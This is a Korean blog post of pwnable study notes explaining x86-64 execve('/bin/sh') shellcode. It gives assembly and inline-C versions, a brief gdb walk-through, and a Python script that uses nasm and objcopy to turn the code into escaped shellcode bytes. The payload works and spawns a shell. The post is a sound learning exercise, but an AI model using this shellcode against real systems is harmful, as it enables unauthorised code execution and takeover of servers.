Execve shell code

동글래차·2023년 5월 27일
0

pwnable

목록 보기
3/9

1. Execve shell code?

* Execve 셸코드란 임의의 프로그램을 실행하는 셸코드 이다. 이를 이용하면 서버의 셸을 흭득할 수 있다.
  -  ex) /bin/bash 실행

1.1. execve shellcode 만들어보기

  • syscall
  • asembly code
; execve.S
; execve("/bin/sh", null, null)
mov rax, 0x68732f6e69622f = "/bin/sh\x00"
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)
  • C code
// execve 셸코드 예제
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

1.2. execve shell code 분석

  • run.sh에 bp 걸고 실행
  • run_sh+11까지 실행 후 스택 => 0x7fffffffe0c0 = 0x68732f6e69622f(/bin/sh)
  • run_sh+27에 bp 설정 후 확인해보면 rsp, 0, 0 인자로 execve syscall 함

1.3. shellcode로 만들기

import os
def change(fileName): #
    with open(fileName, "rb") as file: #데이터 '\x' 붙여서 출력
        data = file.read()
        hex_code = "\\x".join("{:02x}".format(byte) for byte in data)
        print(hex_code)
def main(fileName):
        code = f'nasm -f elf {fileName}.asm'
        os.system(code)
        code = f'objcopy --dump-section .text={fileName}.bin {fileName}.o'
        os.system(code)
        file = f'{fileName}.bin'
        change(file)
if __name__=="__main__":
        fileName = input("FileName = ")
        main(fileName)
profile
동글동글

0개의 댓글